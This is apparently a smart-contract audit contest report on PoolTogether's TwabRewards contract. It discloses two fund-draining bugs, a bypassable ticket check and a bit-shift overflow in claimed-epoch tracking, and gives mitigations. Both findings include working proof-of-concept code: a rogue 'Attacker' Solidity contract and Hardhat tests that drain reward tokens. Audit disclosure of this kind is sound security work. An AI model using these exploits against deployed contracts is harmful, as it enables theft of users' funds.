PoolTogether TwabRewards contest - kemmio's results

Handle

kemmio

Vulnerability details

Impact

Possibility to drain all smart contract assets abusing rogue ticket contract

Proof of Concept

The vulnerability arises because of inconsistent check of _requireTicket() in createPromotion() https://github.com/pooltogether/v4-periphery/blob/master/contracts/TwabRewards.sol#L96

_requireTicket(_ticket);

https://github.com/pooltogether/v4-periphery/blob/master/contracts/TwabRewards.sol#L230-L244

function _requireTicket(address _ticket) internal view {
    require(_ticket != address(0), "TwabRewards/ticket-not-zero-address");

    (bool succeeded, bytes memory data) = address(_ticket).staticcall(
        abi.encodePacked(ITicket(_ticket).controller.selector)
    );

    address controllerAddress;

    if (data.length > 0) {
        controllerAddress = abi.decode(data, (address));
    }

    require(succeeded && controllerAddress != address(0), "TwabRewards/invalid-ticket");
}

This can be bypass with a PoC contract:

contract Attacker{
	function controller() external payable returns(address){
		return address(this);
	}
	function getAverageBalanceBetween(
        address user,
        uint64 startTime,
        uint64 endTime
    ) external view returns (uint256) {
		return 13; // this is multiplied by tokensPerEpoch;
	}
	function getAverageTotalSuppliesBetween(
        uint64[] calldata startTimes,
        uint64[] calldata endTimes
    ) external view returns (uint256[] memory){
		uint256[] memory ret = new uint256[](1);
		ret[0] = 1;
		return ret; 
	}
}

After creating the promotion the claimRewards() is called and the claimed tokens count are manipulated by getAverageBalanceBetween() and getAverageTotalSuppliesBetween() functions of the rogue contract

Proof of Concept(hardhat test case):

describe('Attack', async()=>{
    it('attacker able to withdraw more than he can', async()=>{
        //CREATE PROMOTION FOR OTHER USERS
        const promotionId = 1;

        await expect(createPromotion(ticket.address))
            .to.emit(twabRewards, 'PromotionCreated')
            .withArgs(promotionId);

        const promotion = await twabRewards.callStatic.getPromotion(promotionId);

        expect(promotion.creator).to.equal(wallet1.address);
        expect(promotion.ticket).to.equal(ticket.address);
        expect(promotion.token).to.equal(rewardToken.address);
        expect(promotion.tokensPerEpoch).to.equal(tokensPerEpoch);
        expect(promotion.startTimestamp).to.equal(createPromotionTimestamp);
        expect(promotion.epochDuration).to.equal(epochDuration);
        expect(promotion.numberOfEpochs).to.equal(numberOfEpochs);


         let attackerTicketFactory = await getContractFactory('Attacker');
         let attackerTicket = await attackerTicketFactory.deploy();

         const att_tokensPerEpoch = toWei('10000');
         const att_epochDuration = 1; // 1 week in seconds
         const att_numberOfEpochs = 1; // 3 months since 1 epoch runs for 1 week
         const att_promotionAmount = att_tokensPerEpoch.mul(att_numberOfEpochs);
         
         createPromotionTimestamp = (await ethers.provider.getBlock('latest')).timestamp;
         
         await rewardToken.mint(attacker.address, att_promotionAmount);
         await rewardToken.connect(attacker).approve(twabRewards.address, att_promotionAmount);

         await expect(twabRewards.connect(attacker).createPromotion(
         attackerTicket.address,
         rewardToken.address,
         att_tokensPerEpoch,
         createPromotionTimestamp,
         att_epochDuration,
         att_numberOfEpochs,
         )).to.emit(twabRewards, 'PromotionCreated');

        //check if all rewardTokens are in possession of TWAB contract
        let balance = await rewardToken.balanceOf(twabRewards.address);
        console.log(balance.toString());
        expect(balance).to.be.equal(att_promotionAmount.add(promotionAmount));

        await twabRewards.connect(attacker).claimRewards(attacker.address, 2, [0]);

        
        expect(await rewardToken.balanceOf(attacker.address)).to.be.equal(balance);
        //ALL ASSETS DRAINED
    });
});

For the test to run properly: 1)add this test to TwabRewards.test.ts 2) Add or rename one of the signers to "attacker"

[wallet1, wallet2, wallet3, attacker] = await getSigners();

3)Create Attacker.sol in /contracts/ folder with the PoC

Tools Used

Recommended Mitigation Steps

Harden the _requireTicket() check e.g. if there are multiple tickets, keep a registry of them

Handle

kemmio

Vulnerability details

Impact

Possibility to drain all smart contract assets abusing uint256 overflow in _updateClaimedEpoch()

Proof of Concept

The vulnerability arises because of uint256 overflow in _updateClaimedEpoch() https://github.com/pooltogether/v4-periphery/blob/master/contracts/TwabRewards.sol#L355

return _userClaimedEpochs | (uint256(1) << _epochId);

if _epochId == 256 the result of (uint256(1) << _epochId) will be 0, solidity compiler does not have overflow check for byte shift operations (unlike arithmetic checks that were introduced in 0.8.0): https://docs.soliditylang.org/en/v0.8.0/control-structures.html?highlight=unchecked#checked-or-unchecked-arithmetic

The attacker needs to have in possession at least 1 valid ticket, and some reward-tokens. He creates a promotion using createPromotion(). After that he calls claimRewards() with user=attacker, _promotionId=ATTACKER_PROMOTION_ID and _epochIds = [256,256,....256] - the length of the array will multiply the rewards, since we can claim the same reward multiple times

The require statement is successfully bypassed because of the overflow since _updateClaimedEpoch() will always OR with 0 https://github.com/pooltogether/v4-periphery/blob/master/contracts/TwabRewards.sol#L175-L181

require(
    !_isClaimedEpoch(_userClaimedEpochs, _epochId),
    "TwabRewards/rewards-already-claimed"
);

_rewardsAmount += _calculateRewardAmount(_user, _promotion, _epochId);
_userClaimedEpochs = _updateClaimedEpoch(_userClaimedEpochs, _epochId);

And _rewardsAmount with get accumulated _epochIds.length — times

Proof of Concept(hardhat test case):

describe('Attack', async()=>{
    it('attacker able to withdraw more than he can', async()=>{
        //CREATE PROMOTION FOR OTHER USERS
        const promotionId = 1;

        await expect(createPromotion(ticket.address))
            .to.emit(twabRewards, 'PromotionCreated')
            .withArgs(promotionId);

        const promotion = await twabRewards.callStatic.getPromotion(promotionId);

        expect(promotion.creator).to.equal(wallet1.address);
        expect(promotion.ticket).to.equal(ticket.address);
        expect(promotion.token).to.equal(rewardToken.address);
        expect(promotion.tokensPerEpoch).to.equal(tokensPerEpoch);
        expect(promotion.startTimestamp).to.equal(createPromotionTimestamp);
        expect(promotion.epochDuration).to.equal(epochDuration);
        expect(promotion.numberOfEpochs).to.equal(numberOfEpochs);

        //Create an attacker promotion  
        const att_tokensPerEpoch = toWei('10000');
        const att_epochDuration = 1; // 1 week in seconds
        const att_numberOfEpochs = 255; // 3 months since 1 epoch runs for 1 week
        const att_promotionAmount = att_tokensPerEpoch.mul(att_numberOfEpochs);
         
        createPromotionTimestamp = (await ethers.provider.getBlock('latest')).timestamp;
         
        await rewardToken.mint(attacker.address, att_promotionAmount);
        await rewardToken.connect(attacker).approve(twabRewards.address, att_promotionAmount);

        await expect(twabRewards.connect(attacker).createPromotion(
         ticket.address,
         rewardToken.address,
         att_tokensPerEpoch,
         createPromotionTimestamp,
         att_epochDuration,
         att_numberOfEpochs,
        )).to.emit(twabRewards, 'PromotionCreated');


        //Mint some tickets
        await ticket.delegate(wallet1.address);
        await ticket.connect(attacker).delegate(attacker.address);
        await ticket.controllerMint(wallet1.address, toWei('1000'));
        await ticket.controllerMint(attacker.address, toWei('1000'));
   
        await increaseTime(att_epochDuration*256);

        //calculate how much attacker actually can withdraw
        let reward = await twabRewards.getRewardsAmount(attacker.address,2,[256]);

        await twabRewards.connect(attacker).claimRewards(attacker.address, 2, [256,256,256,256,256]);

        
        expect(await rewardToken.balanceOf(attacker.address)).to.be.equal(reward[0].mul(5));
        //ASSETS DRAINED
    });
});

For the test to run properly:

1. Add this test to TwabRewards.test.ts
2. Add or rename one of the signers to "attacker"

[wallet1, wallet2, wallet3, attacker] = await getSigners();

Tools Used

Recommended Mitigation Steps

_epochIds should be changed to be uint8 everywhere, also it is recommended to require that epochsIds < numberOfEpochs